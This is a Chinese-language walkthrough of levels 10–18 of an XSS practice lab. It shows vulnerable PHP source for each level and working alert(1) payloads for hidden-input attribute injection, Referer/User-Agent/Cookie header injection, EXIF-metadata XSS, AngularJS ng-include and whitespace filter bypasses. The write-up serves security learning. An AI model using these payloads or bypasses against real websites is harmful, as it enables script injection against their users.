第十关
构造url提交
level10.php?keyword=<script>alert(1)</script>
首先ctrl+U看一下页面源码:
<h1 align=center>欢迎来到level10</h1>
<h2 align=center>没有找到和<script>alert(1)</script>相关的结果.</h2><center>
<form id=search>
<input name="t_link" value="" type="hidden">
<input name="t_history" value="" type="hidden">
<input name="t_sort" value="" type="hidden">
</form>
可以看到尖括号用实体符号表示了。但是页面有三个隐藏的input
。试了一下发现只有第三个会被页面处理。
再看一下后台的源码:
<?php
$str = $_GET["keyword"];
$str11 = $_GET["t_sort"];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link" value="'.'" type="hidden">
<input name="t_history" value="'.'" type="hidden">
<input name="t_sort" value="'.$str33.'" type="hidden">
</form>
?>
这里的t_sort
参数是以get方式接收的,并且插入到第三个input
的value中。(还没有任何防护)
payload
level10.php?keyword=123&t_sort=" οnclick="alert(1)" type="text
第十一关
本关和第十关相似,也有几个隐藏的input
,但是不能用第十关的payload了。
<form id=search>
<input name="t_link" value="" type="hidden">
<input name="t_history" value="" type="hidden">
<input name="t_sort" value="" οnclick="alert(1)" type="text" type="hidden">
<input name="t_ref" value="" type="hidden">
</form>
这里可以看到,t_sort
中的引号被替换为了字符实体。但是这里多了一个t_ref
的input,可以尝试在这个input中注入。但是通过多次测试,发现后台好像没有接受这个t_ref
的值。但是有时候t_ref
却会从后台接收到值而显示。
如下图:
当把第一个input的type改成text后传进去一个123条后
发现页面返回给了t_ref
一个值。
http://192.168.0.106:7788/xss/xss/level11.php?t_link=123&t_history=123&t_sort=123&keyword=good%20job!
这里可以发现:t_ref
最终的结果就是本次请求的链接。
到这里就没思路了,用burp抓个包看看。
这就清晰了,发现t_ref
和请求中的referer
字段是相同的。那就构造一个事件试一下
再referer
字段后面添加payload
" οnclick="alert(1)" type="text
最终通关成功!!!
接着看一下源码,分析一下
<?php
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str00 = $_GET["t_sort"];
$str11=$_SERVER['HTTP_REFERER'];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link" value="'.'" type="hidden">
<input name="t_history" value="'.'" type="hidden">
<input name="t_sort" value="'.htmlspecialchars($str00).'" type="hidden">
<input name="t_ref" value="'.$str33.'" type="hidden">
</form>
</center>';
?>
这里是接收了请求头的referer
字段,然后将尖括号置空最后返回给input
。
而这里直接构造url访问,浏览器是不会给服务器传referer字段的。必须要从页面中跳转,才会有referer字段的生成。
不知道referer
的可以看一下这篇文章HTTP请求头中的referer字段
或者百度一下。
第十二关
这个和第十一关类似,此处的注入点是请求头中的user-agent
字段。burp拦截后修改其值,添加一个弹框事件即可。
第十三关
先看一下网站源码
<form id=search>
<input name="t_link" value="" type="hidden">
<input name="t_history" value="" type="hidden">
<input name="t_sort" value="" type="hidden">
<input name="t_cook" value="call me maybe?" type="hidden">
</form>
这里多了一个t_cook
标签。根据前两关的经验,这东西应该就是注入点。
但是怎么提交上去呢?修改type是提交不了的。通过burp抓包发现,此字段的value
取值于网页发送的cookie
,因此在cookie中嵌入事件构成弹框。
第十四关
本关考察的知识点是:exif xss
由于靶场给的链接不能用了,自己找了些这方面的博客,然后简单的复现了一下这个漏洞。博客链接我会放到下面。
首先了解一下EXIF
可交换图像文件格式(英语:Exchangeable image file format,官方简称Exif),是专门为数码相机的照片设定的,可以记录数码照片的属性信息和拍摄数据。 -------百度百科
大概意思就是.jpg文件中的对于照片相关的属性可以人为的更改,如下图:
我们把照相机制造商的内容该成了一段js代码。这样当浏览器访问图片时,在解析图片详细信息的时候会触发js代码执行js脚本。
为了复现这个漏洞,在这里我们需要用到一个chrome插件,EXIF Viewer Classic。商店搜索下载一下。
安装好以后,去网上下载一个.jpg的文件,然后把属性改成js代码。传到自己搭建的服务器上。
然后用chrome访问这张图片。
结果如图:
1. 【巨人肩膀上的矮子】XSS挑战之旅—游戏通关攻略(更新至18关)
2. 讲讲EXIF Viewer XSS漏洞的来龙去脉
3. exif xss 复现
第十五关
通过这一关学习到了一个新的知识点:angularJS ng-include指令。
作用:
ng-include 指令用于包含外部的 HTML 文件。
包含的内容将作为指定元素的子节点。
ng-include 属性的值可以是一个表达式,返回一个文件名。
默认情况下,包含的文件需要包含在同一个域名下。—菜鸟教程
源码:
<?php
$str = $_GET["src"];
echo '<body><span class="ng-include:'.htmlspecialchars($str).'"></span></body>';
?>
可以先给level2.php
传进去看看效果:
看到这里是把level2.php
的页面也嵌进去了。那么该页面就可以利用level2.php
的漏洞通关。
在url中构造好payload
/level15.php?src=%27level2.php?keyword=%22%20οnclick=%22alert(1)%27
第十六关
通过测试,本关是将script
和空格都进行了改写。
看网页源码:
<center>1</center><center><img src=level16.png></center>
被插入的地方还是位于center
标签内。这里的思路是构造新的标签弹框。
payload
level16.php?keyword=<img%0asrc=1%0aοnerrοr=alert(1)>
利用html编码的空白字符%0a
代替空格。
第十七关
通过网页源码可以发现,传入的参数在下方输出到页面上:
<embed src=xsf01.swf?a=b width=100% heigth=100%><h2 align=center>成功后,<a href=level18.php?arg01=a&arg02=b>点我进入下一关</a></h2>
网页后台又对参数进行了实体编码转换,这里构造事件进行弹框。
payload
level17.php?arg01=a&arg02=1%20οnmοuseοver=alert(1)
第十八关
本关和十七关相同。
payload
level18.php?arg01=a&arg02=b%20οnmοuseοver=alert(1)